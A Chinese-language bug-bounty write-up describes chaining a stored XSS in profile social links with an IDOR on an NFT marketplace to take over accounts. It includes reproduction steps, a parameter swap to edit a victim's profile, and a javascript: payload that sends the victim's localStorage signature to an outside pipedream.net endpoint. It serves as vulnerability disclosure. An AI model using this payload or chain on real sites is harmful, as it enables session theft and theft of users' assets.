记一次NFT平台的存储型XSS和IDOR漏洞挖掘过程
2023-07-03 15:13:55   来源：pratiky054 HACK学习呀   评论：0 点击：

　　记一次NFT平台的存储型XSS和IDOR漏洞

　　这是我在 NFT 市场中发现的一个令人兴奋的安全问题，它允许我通过链接 IDOR 和 XSS 来接管任何人的帐户，以实现完整的帐户接管漏洞。

　　我们将用实际流程来覆盖每个漏洞，然后将所有这些问题串联起来

　　XSS →IDOR → 账户接管

　　我们先从XSS开始

　　注意：我们将目标应用程序称为vulnerablemarketplace.com

　　关于此应用程序：在此应用程序中，每个请求都通过签名进行验证，该签名的作用类似于 cookie 或身份验证标头。

　　漏洞1：存储型XSS

　　与其他应用程序一样，它有一个个人资料部分，用户可以在其中上传个人资料图片/上传艺术作品/更新个人简介/电子邮件/添加 Instagram 或 Telegram 等社交链接　

　　所以我做的最基本的步骤是将我的 Twitter 和 Instagram 链接保存为 javascript：alert(document.domain) ，当我保存我的信息并单击 Twitter 或 Instagram 图标时，javascript 被执行，这确认我们在nft 市场

　　复现步骤

　　1.使用钱包登录我的vulnerablemarketplace.com nft 帐户

　　2.然后导航到我的个人资料设置并将我的 Instagram 和 Twitter 链接保存为 javascript：alert(document.domain)

　　这是帖子请求：

　　3.每当我们点击我们的个人资料 Twitter 或 Instagram 图标时，XSS 就会被执行

　　漏洞 2：idor 修改任何用户的个人资料详细信息

　　关于漏洞：攻击者可以修改用户的个人资料信息，包括联系电子邮件、Twitter 或 Instagram 链接，这里唯一的要求是我们需要获取受害者的钱包地址（这已经是区块链上的公开信息，因为每个用户都共享一个钱包地址）某人或其他人）。

　　要求：受害者钱包地址（我们可以轻松获得，因为用户与其他用户共享此地址，并且地址是公共信息）

　　复现步骤

　　设置：我创建了两个帐户 A. 攻击者 B. 受害者（复制受害者钱包地址）

　　1.攻击者将他的钱包连接到vulnerablemarketplace.com

　　2.转到他的个人资料设置并在电子邮件、Twitter 链接上输入任何随机信息，并在任何代理工具 (BURP) 中捕获请求

　　3.从攻击者的角度来看，此帖子请求中的一些参数非常有趣，包括 acccount_address、signer 和签名。

　　account_address=用户钱包地址

　　签名者=与账户地址相同

　　签名 = 充当身份验证令牌或 cookie 来正确验证用户的请求

　　4.我将攻击者的account_address修改为受害者的账户地址并发送请求

　　5.是的！！！我们能够用我们自己的价值观修改受害者用户的个人资料。我们能够使用我们自己的控制值修改受害者的电子邮件、Twitter、Instagram 链接

　　注意：有些人可能会有疑问，如果我们能够修改受害者的电子邮件，那么帐户就已经被接管了??？不，因为这是一个 NFT 应用程序，所以没有电子邮件身份验证，我们必须使用钱包扩展进行连接（我们需要窃取受害者签名，以便我们可以使用它来窃取 NFT 或艺术品）

　　打造漏洞利用链

　　到目前为止，我们已经有了一个 IDOR 和一个 Stored XSS。我本可以与其他用户共享我的个人资料来窃取数据，但通过链接此 IDOR，我们可以修改信誉良好的用户的个人资料详细信息以增加影响

　　需要记住的事情：应用程序没有 cookie，但将签名值存储在浏览器 localStorage 中，因此我们将制作有效负载来窃取该签名值

　　复现步骤

　　1.在 Burp 等代理工具中捕获更改个人资料信息的 POST 请求

　　2.修改此负载的 Instagram 和 Twitter 链接。

　　3.我们对签名值特别感兴趣，因为这是发出每个请求所必需的。签名值存储在 localStorage 中，因此这里是 javascript 有效负载，我们将使用它来窃取该值并将其发送到我们的

pipelinedream url javascript：token=JSON.stringify(localStorage),url='https://mypipedream.m.pipedream.net/'+token,fetch(url)

　　4.修改account_address为受害者钱包地址

　　5.请求并完成:) 一旦受害者点击他的 Instagram 或 Twitter 链接或用户访问受害者用户的个人资料，XSS 将被执行，用户的签名值将被泄露到我的服务器

　　现在您可以看到我们使用 XSS 窃取了受害者的签名。现在我们可以提出任何其他请求来执行其他经过身份验证的操作，例如出售艺术品或转让或删除用户的艺术品

　　漏洞披露

　　非常感谢您花时间阅读这篇文章。

　　记住：保持安全并保持警惕。